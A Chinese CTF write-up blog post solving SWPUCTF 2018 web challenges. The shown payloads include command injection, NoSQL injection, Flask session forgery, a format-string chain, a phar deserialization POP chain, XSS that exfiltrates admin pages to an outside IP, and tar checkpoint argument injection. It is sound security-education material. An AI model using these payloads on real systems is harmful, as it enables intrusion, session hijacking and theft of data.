N0rth3ty's Blog.

SWPUCTF复现

字数统计: 2.7k阅读时长: 13 min
2018/12/27 Share

最近事情实在是太多了,看了下题目质量还可以
只能抽点时间来复现一下

用优惠码买个X

商城题目,先理一下逻辑
注册送优惠码,然后用优惠码购买,但是位数都不对购买个蛇皮
然后www.zip源码泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

基本可以确定是一个随机数种子带来的问题
和之前做的题目基本一个套路
http://wonderkun.cc/index.html/?p=585

mt_srand()函数的随机数种子由rand(0,999999999)生成。然后用mt_rand(0,61)生成随机数来随机截取字符串$str_rand中的一个字符。因此我们只要得到mt_srand()函数的播种种子的值,就可以预测出24位的优惠码。
首先需要根据优惠码反推mt_rand()生成的15个随机数的值,然后将这15个值传入php_mt_seed进行爆破
这是官方给的脚本,所以我直接拿来复现了,这个脚本应该也没啥难度吧
也可以用python写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$str = 'eZxSH7TvzmWj9bR';
$randstr = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$len=15;
for($i=0;$i<$len;$i++){
if($i<=($len/2)){
$pos = strpos($randstr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randstr)-1)." ";
}
else{
$pos = strpos($randstr,$str[$i],-0);
echo (strlen($randstr))-$pos;
echo " ";
echo (strlen($randstr))-$pos;
echo " ";
echo "0 ";
echo (strlen($randstr)-1);
echo " ";
}
}
echo "n";
?>

image

购买成功后有一个rce页面

1
2
3
4
5
6
7
8
9
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}

1.1.1.1%0ac\at /fl\ag

image

Injection

注释可以看到info.php,看了下是个phpinfo
可以看到是MongoDB的数据库
image
简单测试一下就基本可以确定是一个nosql注入
测试payload

username=admin&password[$ne]=\

一篇MongDB注入的文章
https://www.secpulse.com/archives/3278.html

这里只能采用盲注,但是有验证码就很坑爹了,可以用python的图像识别库,但是好像还不如手测来得快一点(当我没说
payload如下

username=admin&password[$regex]=^***

皇家线上赌场

source给出了目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)
filename = os.path.join('app/static', filename)

有一个文件读取的点可以利用

http://107.167.188.241/static?file=

但是必须知道绝对路径
(然后参考飘零师傅的博客
https://xz.aliyun.com/t/3656#toc-9

/proc/[pid]/cwd是进程当前工作目录的符号链接  

然后可以利用

1
2
http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
http://107.167.188.241/static?file=/proc/self/cwd/app/views.py

init.py

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

拿到secret_key可以伪造session登陆
不过最后的关键还要回到getflag函数,是一个格式化字符串攻击(暂时我还不懂,先写上吧
问题出在了这两句

jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

这是python的format函数带来的问题
filed是可控的,所以我们可以在g.u后进行拼接构造python继承链去读取g.flag
但还要满足u.balance > 1000000
伪造session的脚本
session.py

1
2
3
4
5
6
7
8
9
from flask.sessions import SecureCookieSessionInterface

class App(object):
secret_key = '9f516783b42730b7888008dd5c15fe66'

s = SecureCookieSessionInterface().get_signing_serializer(App())
u = s.loads('eyJjc3JmX3Rva2VuIjoiMzgyMWRlNmFlMTRmNjc2NjU0YWNhMjZjYTQ1MzY4Y2Y3NjI2MzI1NSJ9.XBpHyw.9S0EAg9_yQKg7D3xqPp08eMIeH8')
u['username'] = 'admin'
print(s.dumps(u))

首先看一下flask源码
flask/init.py

1
2
3
4
5
6
7
from .app import Flask, Request, Response
from .config import Config
from .helpers import url_for, flash, send_file, send_from_directory,
get_flashed_messages, get_template_attribute, make_response, safe_join,
stream_with_context
from .globals import current_app, g, request, session, _request_ctx_stack,
_app_ctx_stack

flask_sqlalchemy/init.py

1
from flask import _app_ctx_stack, abort, current_app, request

可以看到app、g、current_app在同一个空间下面,而current_app和SQLAlchemy在同一空间中,因此只要读到current_app变量,那么g变量也就读到了。
再来看一下init.py的源码

1
2
3
4
5
6
7
8
9
10
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = 'anUEALvo7fV3KdwwiEYd'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
register_views(app)
db.init_app(app)
return app

可以看到db变量,这是一个SQLAlchemy的实例,format中传入的第二个变量u是User的实例,我们可以通过u的一个方法访问models.py这个空间的db变量,这里我给了一个提示 “save方法”,那是因为User类没有定义__init__方法,而是继承自db.Model,因此不能访问到db变量。看到这里就很清晰了,构造出 field=save.__globals__[db].__init__.__globals__.current_app.route.__globals__[g].flag 即可打出flag

SimplePHP

这个题自己做一手
上来还是信息收集,也就是传说中的审题了
一个读文件的点,一个上传点,这种情况肯定是要尝试读取上传点的源码的
然后f1ag.php肯定是读取不到的

/file.php?file=upload_file.php

这是读到的核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

简单看一下的话没有太大问题,试着读一下file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

class.php肯定是个大宝贝了
其实做到这里已经有似曾相识的感觉了
和之前那道画廊的题目应该是一致的
猜的话应该是一个php反序列化加phar协议的combo
看看我们的大宝贝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

构造一个pop链再用phar触发就ok了,非常的水到渠成
1.利用C1e4r类的destruct()中的echo $this->test
2.触发Show类的
toString()
3.利用Show类的$content = $this->str[‘str’]->source
4.触发Test类的__get()
5.成功利用file_get()读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
$b = new Show();
$c = new Test();
$c->params['source'] = 'php://filter/read=convert.base64-encode/resource=/var/www/html/f1ag.php';
$b->str['str'] = $c;
$a = new C1e4r($b);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

这个exp的板子应该是第三次出现在我博客了
然后这里file参数还需要自己计算一下
感觉就是gallery那个题换了个前端,所以ctf还是得多刷题

有趣的邮箱注册

F12有源码

1
2
3
4
5
6
7
8
9
10
<?php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
} else {
echo "等待管理员自动审核";
echo $email;
}
}

然后admin.php只允许本地访问,感觉又是xss那一套
这里有个FILTER_VALIDATE_EMAIL的bypass
可以参见p神博客
https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
payload格式为

"<script/src=//182.254.221.239/a.js></script>"@example.com

先访问admin.php试试,ajax读源码那一套

1
2
3
4
5
6
7
8
9
10
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://182.254.221.239:7777/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

image
然后今天上来发现环境已经关掉了,那就看着wp随便写写吧。
打回来是一个明显的rce

<br /><a href="admin/a0a.php?cmd=whoami">

据说后续是通过tar命令进行提权(这谁顶得住啊
https://www.freebuf.com/articles/system/176255.html
简单说就是备份时把文件名当作命令参数执行了
需要上传三个文件

1
2
3
exp.sh
--checkpoint-action=exec=sh exp.sh
--checkpoint=1

exp.sh的内容为

1
cat /flag | base64

然后执行备份操作即可,理论上讲也可以通过在sh中写反弹shell

其他

说点题外话,web的题目质量真的蛮高的
甚至还能办个线下,而你电作为双一流高校,连个校赛都办不起来
所以我自然还是有点心寒的,没有什么继续在你电的想法了
可能要考外校了

本文参考官方wp及飘零师傅的wp
https://www.anquanke.com/post/id/168338

CATALOG
  1. 1. 用优惠码买个X
  2. 2. Injection
  3. 3. 皇家线上赌场
  4. 4. SimplePHP
  5. 5. 有趣的邮箱注册
  6. 6. 其他